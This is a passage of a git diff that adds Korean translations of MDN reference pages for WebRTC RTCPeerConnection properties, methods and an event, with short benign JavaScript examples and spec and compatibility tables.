+<p>{{domxref("RTCPeerConnection.localDescription")}}와 다르게, <code>currentLocalDescription</code>는 연결 인터페이스의 로컬 엔드에 대한 현재 상태를 나타내는 값 입니다. <code>localDescription</code>은 연결 인터페이스가 현재 어떤 상태로 전환 중인지를 설명하는 값을 명시 할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>sessionDescription</em> = <em>RTCPeerConnection</em>.currentLocalDescription;</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>연결이 설정된 경우, 연결의 로컬 엔드에 대한 가장 최신 설명입니다. 성공적으로 연결이 설정이 되지 않았다면, 반환 값은 <code>null</code> 입니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>이 예시는 <code>currentLocalDescription</code>을 확인하고, {{domxref("RTCSessionDescription")}} 객체의 <code>type</code> 및 <code>sdp</code> 필드를 담고 있는 경고 메세지를 출력합니다.</p>
+
+<pre class="brush: js">var pc = new RTCPeerConnection();
+…
+var sd = pc.currentLocalDescription;
+if (sd) {
+ alert("Local session: type='" +
+ sd.type + "'; sdp description='" +
+ sd.sdp + "'");
+}
+else {
+ alert("No local session yet.");
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-currentLocalDescription', 'RTCPeerConnection.currentLocalDescription') }}</td>
+ <td>{{ Spec2('WebRTC 1.0') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.currentLocalDescription")}}</p>
+
+<div class="note">
+<p><code>currentLocalDescription</code>와 {{domxref("RTCPeerConnection.pendingLocalDescription", "pendingLocalDescription")}}기능은 최근에 추가 되었습니다.  따라서, 이 기능을 지원하지 않는 브라우저에서는 {{domxref("RTCPeerConnection.localDescription", "localDescription")}}를 사용하십시오.</p>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{domxref("RTCPeerConnection.setLocalDescription()")}}, {{domxref("RTCPeerConnection.pendingLocalDescription")}}, {{domxref("RTCPeerConnection.localDescription")}}</li>
+ <li>{{domxref("RTCPeerConnection.setRemoteDescription()")}}, {{domxref("RTCPeerConnection.remoteDescription")}}, {{domxref("RTCPeerConnection.pendingRemoteDescription")}}, {{domxref("RTCPeerConnection.currentRemoteDescription")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/currentremotedescription/index.html b/files/ko/web/api/rtcpeerconnection/currentremotedescription/index.html
new file mode 100644
index 0000000000..8b767ac446
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/currentremotedescription/index.html
@@ -0,0 +1,72 @@
+---
+title: RTCPeerConnection.currentRemoteDescription
+slug: Web/API/RTCPeerConnection/currentRemoteDescription
+translation_of: Web/API/RTCPeerConnection/currentRemoteDescription
+---
+<p>{{WebRTCSidebar}}</p>
+
+<p>읽기 속성인 <code><strong>RTCPeerConnection.currentRemoteDescription</strong></code>은 마지막 {{domxref("RTCPeerConnection")}} 이후 가장 최근에 원격 유저와의 네고시에이션 및 연결을 성공적으로 마친 연결의 원격 엔드 포인트를 알려주는 {{domxref("RTCSessionDescription")}} 객체를 반환합니다. 추가적으로 이 속성은 description에 의해 표현되는 마지막 offer 및 answer가 처음 시작되면 ICE 에이전트에 의해 생성이 되었을 수도 있는 모든 ICE candidate들의 리스트를 포함합니다.</p>
+
+<p><code>currentRemoteDescription</code>를 바꾸기 위해서는,  {{domxref("RTCPeerConnection.setRemoteDescription()")}}를 호출해서 이 값이 설정되도록 만들어주는 연속된 이벤트를 활성화하십시오. 왜 바꾸는 것이 바로 적용이 안되는지 및 어떻게 작동하는지 더 자세히 알고 싶다면, {{SectionOnPage("/en-US/docs/Web/API/WebRTC_API/Connectivity", "Pending and current descriptions")}}를 참조하십시오.</p>
+
+<div class="note">
+<p>{{domxref("RTCPeerConnection.remoteDescription")}}와 다르게, 이 값은 연결의 로컬 엔드 포인트에 대한 실제 현재 상태를 보여줍니다. <code>remoteDescription</code>은 연결이 현재 어느 상태로 바뀌는지에 대한 설명도 명시 할 수 있습니다.</p>
+</div>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>sessionDescription</em> = <em>RTCPeerConnection</em>.currentRemoteDescription;</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>설정이 되어있다면, 연결의 원격 엔드포인트에 대한 현재 설명을 반환합니다. 설정되어있지않으면, 이 값은 <code>null</code>입니다. </p>
+
+<h2 id="예시">예시</h2>
+
+<p>아래 예제는 <code>currentRemoteDescription</code> 를 확인하고 객체의 <code>type</code> 및 <code>sdp</code> 필드를 경고로 띄워줍니다.</p>
+
+<pre class="brush: js">var pc = new RTCPeerConnection();
+…
+var sd = pc.currentRemoteDescription;
+if (sd) {
+ alert("Local session: type='" +
+ sd.type + "'; sdp description='" +
+ sd.sdp + "'");
+}
+else {
+ alert("No local session yet.");
+}
+</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-currentRemoteDescription', 'RTCPeerConnection.currentRemoteDescription') }}</td>
+ <td>{{ Spec2('WebRTC 1.0') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.currentRemoteDescription")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{domxref("RTCPeerConnection.setRemoteDescription()")}}, {{domxref("RTCPeerConnection.pendingRemoteDescription")}}, {{domxref("RTCPeerConnection.remoteDescription")}}</li>
+ <li>{{domxref("RTCPeerConnection.setRemoteDescription()")}}, {{domxref("RTCPeerConnection.remoteDescription")}}, {{domxref("RTCPeerConnection.pendingRemoteDescription")}}, {{domxref("RTCPeerConnection.currentRemoteDescription")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/generatecertificate/index.html b/files/ko/web/api/rtcpeerconnection/generatecertificate/index.html
new file mode 100644
index 0000000000..d516a3435f
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/generatecertificate/index.html
@@ -0,0 +1,69 @@
+---
+title: RTCPeerConnection.generateCertificate()
+slug: Web/API/RTCPeerConnection/generateCertificate
+translation_of: Web/API/RTCPeerConnection/generateCertificate
+---
+<p>{{APIRef("WebRTC")}}</p>
+
+<p>{{domxref("RTCPeerConnection")}} 인터페이스의 <strong><code>generateCertificate()</code></strong> 메소드는 X.509 인증서와 해당하는 개인 키를 생성하고 저장합니다. 그리고 접근이 가능한 {{domxref("RTCCertificate")}}를 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>cert</em> = RTCPeerConnection.generateCertificate(<em>keygenAlgorithm</em>)</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<dl>
+ <dt><code>keygenAlgorithm</code></dt>
+ <dd>키를 생성하는데 사용하는 알고리즘을 식별하는 {{domxref("DOMString")}}입니다.</dd>
+</dl>
+
+<div class="note">
+<p><code>RTCPeerConnection.generateCertificate()</code> 은 정적인 메소드로, 따라서 인스턴스가 아닌 <code>RTCPeerConnection</code> 인터페이스에서 항상 호출됩니다.</p>
+</div>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{domxref("RTCCertificate")}} 객체에 대한 참조 값입니다.</p>
+
+<h3 id="예제">예제</h3>
+
+<pre class="brush: js">RTCPeerConnection.generateCertificate({
+    name: 'RSASSA-PKCS1-v1_5',
+    hash: 'SHA-256',
+    modulusLength: 2048,
+    publicExponent: new Uint8Array([1, 0, 1])
+}).then(function(cert) {
+  var pc = new RTCPeerConnection({certificates: [cert]});
+});</pre>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-generateCertificate-Promise-RTCCertificate--AlgorithmIdentifier-keygenAlgorithm', 'generateCertificate()')}}</td>
+ <td>{{Spec2('WebRTC 1.0')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.generateCertificate")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API/Using_Service_Workers">Using Service Workers</a></li>
+ <li>{{domxref("Cache")}}</li>
+ <li>{{domxref("WorkerGlobalScope.caches")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/getconfiguration/index.html b/files/ko/web/api/rtcpeerconnection/getconfiguration/index.html
new file mode 100644
index 0000000000..c2d278cf1a
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/getconfiguration/index.html
@@ -0,0 +1,78 @@
+---
+title: RTCPeerConnection.getConfiguration()
+slug: Web/API/RTCPeerConnection/getConfiguration
+translation_of: Web/API/RTCPeerConnection/getConfiguration
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p><strong><code>RTCPeerConnection.getConfiguration()</code></strong> 메소드는 호출 된 {{domxref("RTCPeerConnection")}}의 현재 설정을 알려주는 {{domxref("RTCConfiguration")}} 객체를 반환합니다.</p>
+
+<p>여기서 반환되는 설정 값 은 가장 최근에 적용했던 {{domxref("RTCPeerConnection.setConfiguration","setConfiguration()")}} 혹은 <code>setConfiguration()</code>가 호출 되지 않았다면, <code>RTCPeerConnection</code>가 구성되면서 생긴 설정입니다. 이 설정은 연결에 의해 사용되는 ICE 서버의 리스트, 전송 정책에 관한 정보, 그리고 식별 정보를 포함합니다. </p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>configuration</em> = <em>RTCPeerConnection</em>.getConfiguration();</pre>
+
+<h3 class="syntaxbox" id="매개변수">매개변수</h3>
+
+<p>이 메소드는 입력 변수를 받지 않습니다.</p>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>{{domxref("RTCPeerConnection")}}의 현재 설정을 알려주는 {{domxref("RTCConfiguration")}} 객체입니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>아래의 예제는 활성화된 연결에서 이미 사용 중인 인증서가 없다면, 신규 인증서를 추가하는 작업입니다.</p>
+
+<pre class="brush: js">let configuration = myPeerConnection.getConfiguration();
+
+if ((configuration.certificates != undefined) &amp;&amp; (!configuration.certificates.length)) {
+   RTCPeerConnection.generateCertificate({
+      name: 'RSASSA-PKCS1-v1_5',
+      hash: 'SHA-256',
+      modulusLength: 2048,
+      publicExponent: new Uint8Array([1, 0, 1])
+  }).then(function(cert) {
+ configuration.certificates = [cert];
+    myPeerConnection.setConfiguration(configuration);
+  });
+}
+</pre>
+
+<p>위의 예제에서는 {{domxref("RTCPeerConnection")}}의 현재 설정을 가져 온 다음에, 인증서가 존재하는지 확인하기 위해 (1) 설정에 <code>certificates</code>값이 포함되어 있는지, (2) 길이가 0인지를 확인합니다.</p>
+
+<p>만약 인증서가 존재하지 않으면, {{domxref("RTCPeerConnection.generateCertificate()")}}가 호출되어 신규 인증서를 만들어냅니다. 여기에 fulfillment 핸들러를 제공해서 새로 만들어진 인증서를 포함하는 배열을 현재 설정에 추가하고, {{domxref("RTCPeerConnect.setConfiguration", "setConfiguration()")}}에 전달해서 연결에 인증서를 추가합니다.</p>
+
+<h2 id="명세">명세</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-getConfiguration-RTCConfiguration', 'getConfiguration()')}}</td>
+ <td>{{Spec2('WebRTC 1.0')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.RTCPeerConnection.getConfiguration")}}</p>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{domxref("RTCPeerConnection.setConfiguration()")}}</li>
+ <li>{{domxref("RTCConfiguration")}}</li>
+ <li>{{domxref("RTCPeerConnection")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/getidentityassertion/index.html b/files/ko/web/api/rtcpeerconnection/getidentityassertion/index.html
new file mode 100644
index 0000000000..e5c826c811
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/getidentityassertion/index.html
@@ -0,0 +1,60 @@
+---
+title: RTCPeerConnection.getIdentityAssertion()
+slug: Web/API/RTCPeerConnection/getIdentityAssertion
+translation_of: Web/API/RTCPeerConnection/getIdentityAssertion
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p><code><strong>RTCPeerConnection.getIdentityAssertion()</strong></code> 메소드는 식별 주장의 수집을 시작합니다. 이 메소드는 {{domxref("RTCPeerConnection.signalingState", "signalingState")}}가 <code>"closed"</code> 상태가 아닐 때에만 유효합니다.</p>
+
+<p>이 메소드는 즉시 반환하게됩니다. 식별 주장이 생성 될 수 없다면, 객체에 {{event("idpassertionerror")}}가 전달됩니다. </p>
+
+<p>이는 자동으로 수행되기 때문에, 어플리케이션에서 <code>RTCPeerConnection</code>을 직접 다룰 일은 없습니다.명시적인 호출로 필요한 것이 무엇인지 정도만 알 수 있습니다.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><code><em>pc</em>.getIdentityAssertion();</code>
+</pre>
+
+<dl>
+</dl>
+
+<p><em>이 메소드에는 매개변수 혹은 반환 값이 없습니다. </em></p>
+
+<h2 id="Example" name="Example">예시</h2>
+
+<pre class="brush: js">var pc = new PeerConnection();
+
+pc.getIdentityAssertion(); // Not mandatory, but we know that we will need it in the future.
+</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-getIdentityAssertion-void', 'RTCPeerConnection.getIdentityAssertion()') }}</td>
+ <td>{{ Spec2('WebRTC 1.0') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.getIdentityAssertion")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/getreceivers/index.html b/files/ko/web/api/rtcpeerconnection/getreceivers/index.html
new file mode 100644
index 0000000000..4f2802a7ac
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/getreceivers/index.html
@@ -0,0 +1,55 @@
+---
+title: RTCPeerConnection.getReceivers()
+slug: Web/API/RTCPeerConnection/getReceivers
+translation_of: Web/API/RTCPeerConnection/getReceivers
+---
+<div>{{APIRef("WebRTC")}}{{SeeCompatTable}}</div>
+
+<p><code><strong>RTCPeerConnection.getReceivers()</strong></code> 메소드는 {{domxref("RTCRtpReceiver")}} 객체의 배열을 반환합니다. 이 배열의 각 요소들은 RTP 리시버를 나타냅니다. 각각의 RTP 리시버는 {{domxref("RTCPeerConnection")}}에 대한 {{domxref("MediaStreamTrack")}}의 데이터를 수신하고 디코딩 합니다.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>receivers</em>[] = <em>RTCPeerConnection</em>.getReceivers();
+</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>연결에 대한 각 트랙마다 한 개씩 {{domxref("RTCRtpReceiver")}} 객체의 배열을 반환합니다. R연결에 대한 RTP 리시버가 없으면, 배열은 빈 상태입니다.</p>
+
+<p><code>RTCReceiver</code> 인스턴스에서 반환되는 순서는 명세서에 정의되어있지 않고, <code>getSenders()</code>호출을 사용해서 다음 배열의 요소로 바꿀 수 있습니다.</p>
+
+<h2 id="Example" name="Example">예시</h2>
+
+<p>tbd</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-getsenders', 'RTCPeerConnection.getSenders()') }}</td>
+ <td>{{ Spec2('WebRTC 1.0') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.getReceivers")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC_API">WebRTC</a></li>
+ <li>{{domxref("RTCRtpSender")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/getsenders/index.html b/files/ko/web/api/rtcpeerconnection/getsenders/index.html
new file mode 100644
index 0000000000..ca05cf45dd
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/getsenders/index.html
@@ -0,0 +1,55 @@
+---
+title: RTCPeerConnection.getSenders()
+slug: Web/API/RTCPeerConnection/getSenders
+translation_of: Web/API/RTCPeerConnection/getSenders
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary">{{domxref("RTCPeerConnection")}}의 <code><strong>getSenders()</strong></code> 메소드는 {{domxref("RTCRtpSender")}} 객체의 배열을 반환합니다. 배열의 각 객체는 하나의 트랙의 데이터의 송신을 담당하는 RTP sender를 나타냅니다.</span> Sender 객체는 트랙 데이터의 인코딩과 송신을 확인하고, 조작 할 수 있는 메소드와 속성들을 제공합니다.</p>
+
+<h2 id="Syntax" name="Syntax">Syntax</h2>
+
+<pre class="syntaxbox">var <em>senders</em> = <em>RTCPeerConnection</em>.getSenders();
+</pre>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p>연결의 각 트랙마다 한 개의 {{domxref("RTCRtpSender")}} 객체 배열을 반환합니다. 연결의 RTP sender가 존재하지 않으면, 배열은 빈 상태입니다.</p>
+
+<p><code>RTCRtpSender</code>s 의 반환 값 순서는 정의되어있지 않고, <code>getSenders()</code> 호출을 통해서 다음 배열 요소로 바꿀 수 있습니다.</p>
+
+<h2 id="Example" name="Example">예시</h2>
+
+<p>tbd</p>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#dom-rtcpeerconnection-getsenders', 'RTCPeerConnection.getSenders()') }}</td>
+ <td>{{ Spec2('WebRTC 1.0') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.getSenders")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC_API">WebRTC</a></li>
+ <li>{{domxref("RTCRtpSender")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/gettransceivers/index.html b/files/ko/web/api/rtcpeerconnection/gettransceivers/index.html
new file mode 100644
index 0000000000..98d79ccbc5
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/gettransceivers/index.html
@@ -0,0 +1,63 @@
+---
+title: RTCPeerConnection.getTransceivers()
+slug: Web/API/RTCPeerConnection/getTransceivers
+translation_of: Web/API/RTCPeerConnection/getTransceivers
+---
+<p>{{APIRef("WebRTC")}}</p>
+
+<p>{{domxref("RTCPeerConnection")}} 인터페이스의 <code><strong>getTransceivers()</strong></code> 메소드는 연결에서 데이터 전송 및 수신에 사용되는 {{domxref("RTCRtpTransceiver")}} 객체의 리스트를 반환합니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"><em>transceiverList</em> = RTC<em>PeerConnection</em>.getTransceivers();</pre>
+
+<h3 id="매개변수">매개변수</h3>
+
+<p>없음.</p>
+
+<h3 id="반환_값">반환 값</h3>
+
+<p><code>RTCPeerConnection</code>에 대한 모든 미디어의 전송/수신을 관리하는 트랜시버를 나타내는 {{domxref("RTCRtpTransceiver")}} 객체의 배열입니다. 리스트의 순서는 트랜시버가 연결에 추가된 순서대로 정렬되어있습니다.</p>
+
+<h2 id="예시">예시</h2>
+
+<p>아래 코드는 <code>RTCPeerConnection</code>와 연관된 모든 트랜시버를 중지시킵니다.</p>
+
+<pre class="brush: js">pc.getTransceivers.forEach(transceiver =&gt; {
+ transceiver.stop();
+});
+</pre>
+
+<h2 id="설명서">설명서</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">설명서</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ <tr>
+ <td>{{SpecName("WebRTC 1.0", "#dom-rtcpeerconnection-gettransceivers", "RTCPeerConnection.getTransceivers()")}}</td>
+ <td>{{Spec2("WebRTC 1.0")}}</td>
+ <td></td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+<div>
+
+
+<p>{{Compat("api.RTCPeerConnection.getTransceivers")}}</p>
+</div>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API">WebRTC API</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Signaling and video calling</a></li>
+ <li>{{domxref("RTCPeerConnection.addTransceiver()")}}</li>
+ <li>{{jsxref("Array.forEach()")}}</li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/icegatheringstate/index.html b/files/ko/web/api/rtcpeerconnection/icegatheringstate/index.html
new file mode 100644
index 0000000000..9d7a094688
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/icegatheringstate/index.html
@@ -0,0 +1,85 @@
+---
+title: RTCPeerConnection.iceGatheringState
+slug: Web/API/RTCPeerConnection/iceGatheringState
+translation_of: Web/API/RTCPeerConnection/iceGatheringState
+---
+<p>{{APIRef("WebRTC")}}{{SeeCompatTable}}</p>
+
+<p>읽기 속성인 <code><strong>RTCPeerConnection.iceGatheringState</strong></code>는 연결 인터페이스의 ICE 수집 상태를 알려주는 <code>RTCIceGatheringState</code>타입의 Enum을 반환합니다. 이 속성을 활용하면, ICE candidate 수집 과정이 언제 종료되는지 감지 할 수 있습니다. </p>
+
+<p><code><a href="/en-US/docs/Web/API/RTCPeerConnection/icegatheringstatechange_event">icegatheringstatechange</a></code>타입의 이벤트 감시를 통해 이 속성 값이 언제 변하는지를 확인 할 수 있습니다.</p>
+
+<h2 id="Syntax">Syntax</h2>
+
+<pre class="syntaxbox"> var state = <em>RTCPeerConnection</em>.iceGatheringState;</pre>
+
+<h3 id="값">값</h3>
+
+<p>반환되는 값은 <code>RTCIceGatheringState</code>타입의 Enum입니다. </p>
+
+
+
+<h3 id="RTCIceGatheringState_enum섹션">RTCIceGatheringState enum<a href="https://developer.mozilla.org/ko/docs/Web/API/RTCPeerConnection#RTCIceGatheringState_enum">섹션</a></h3>
+
+<p><a href="https://developer.mozilla.org/ko/docs/Web/API/RTCPeerConnection/iceGatheringState" title="읽기 속성인 RTCPeerConnection.iceGatheringState는 연결 인터페이스의 ICE 수집 상태를 알려주는 RTCIceGatheringState타입의 Enum을 반환합니다. 이 속성을 활용하면, ICE candidate 수집 과정이 언제 종료되는지 감지 할 수 있습니다."><code>RTCPeerConnection.iceGatheringState</code></a> 속성을 사용하게되면 반환되는 <code>RTCIceGatheringState</code> enum은 현재의 ICE 수집 상태를 반영하여 알려주는 문자열 상수입니다. <code><a href="https://developer.mozilla.org/ko/docs/Web/Reference/Events/icegatheringstatechange" rel="nofollow" title="/ko/docs/Web/Reference/Events/icegatheringstatechange">icegatheringstatechange</a></code> 타입의 이벤트를 감시해서 이 값이 언제 변하는지 확인 할 수 있습니다.</p>
+
+<table>
+ <thead>
+ <tr>
+ <th scope="col">상수명</th>
+ <th scope="col">설명</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td><code>"new"</code></td>
+ <td>피어 연결이 새로 생성되었지만, 아직 네트워킹은 시작되지 않은 상태</td>
+ </tr>
+ <tr>
+ <td><code>"gathering"</code></td>
+ <td>ICE 에이전트가 연결을 위한 ICE candidate를 수집하는 과정에 있음을 알려주는 상태</td>
+ </tr>
+ <tr>
+ <td><code>"complete"</code></td>
+ <td>ICE 에이전트가 candidate 수집을 완료한 상태. 새로운 인터페이스가 추가되거나, 신규 ICE 서버가 추가와 같이 신규 ICE candidate를 수집해야하는 상황이 오면, 상태가 <code>complete</code>에서 <code>gathering</code>으로 다시 바뀝니다.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="예시"><br>
+ 예시</h2>
+
+<pre>var pc = new RTCPeerConnection();
+var state = pc.iceGatheringState;</pre>
+
+<h2 id="Specifications" name="Specifications">명세</h2>
+
+<table class="standard-table" style="height: 49px; width: 1000px;">
+ <thead>
+ <tr>
+ <th scope="col">명세</th>
+ <th scope="col">상태</th>
+ <th scope="col">코멘트</th>
+ </tr>
+ </thead>
+ <tbody>
+ <tr>
+ <td>{{ SpecName('WebRTC 1.0', '#widl-RTCPeerConnection-iceGatheringState', 'RTCPeerConnection.iceGatheringState') }}</td>
+ <td>{{ Spec2('WebRTC 1.0') }}</td>
+ <td>Initial specification.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="브라우저_호환성">브라우저 호환성</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.iceGatheringState")}}</p>
+
+<h2 id="참조">참조</h2>
+
+<ul>
+ <li>{{event("icegatheringstatechange")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/API/WebRTC">WebRTC</a></li>
+</ul>
diff --git a/files/ko/web/api/rtcpeerconnection/icegatheringstatechange_event/index.html b/files/ko/web/api/rtcpeerconnection/icegatheringstatechange_event/index.html
new file mode 100644
index 0000000000..ad713beeda
--- /dev/null
+++ b/files/ko/web/api/rtcpeerconnection/icegatheringstatechange_event/index.html
@@ -0,0 +1,102 @@
+---
+title: 'RTCPeerConnection: icegatheringstatechange event'
+slug: Web/API/RTCPeerConnection/icegatheringstatechange_event
+translation_of: Web/API/RTCPeerConnection/icegatheringstatechange_event
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary"><strong><code>icegatheringstatechange</code></strong> 이벤트는 {{Glossary("ICE")}} candidate 수집 과정이 변경되면,  {{domxref("RTCPeerConnection")}}의 이벤트 핸들러인 {{domxref("RTCPeerConnection.onicegatheringstatechange", "onicegatheringstatechange")}}로 전달됩니다.</span> 이는 연결의 {{domxref("RTCPeerConnection.iceGatheringState", "iceGatheringState")}} 속성이 변경되었다는 것을 뜻합니다.</p>
+
+<p>ICE가 처음 연결 candidate들을 수집하게되면 값이 <code>new</code>에서 <code>gathering</code>으로 바뀌게 되고, 이는 연결에 대한 candidate 설정들을 수집하는 과정 중에 있다는 뜻입니다. 값이 complete가 되면, RTCPeerConnection을 구성하는 모든 트랜스포트들이 ICE candidate 수집을 완료한 상태입니다.</p>
+
+<table class="properties">
+ <tbody>
+ <tr>
+ <th scope="row">Bubbles</th>
+ <td>No</td>
+ </tr>
+ <tr>
+ <th scope="row">취소가능여부</th>
+ <td>No</td>
+ </tr>
+ <tr>
+ <th scope="row">인터페이스</th>
+ <td>{{domxref("Event")}}</td>
+ </tr>
+ <tr>
+ <th scope="row">이벤트 핸들러</th>
+ <td>{{domxref("RTCPeerConnection.onicegatheringstatechange", "onicegatheringstatechange")}}</td>
+ </tr>
+ </tbody>
+</table>
+
+<div class="blockIndicator note">
